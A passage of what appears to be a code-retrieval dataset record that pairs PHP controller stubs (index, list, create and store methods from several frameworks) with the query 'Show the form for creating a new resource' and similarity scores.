$clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function create() { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
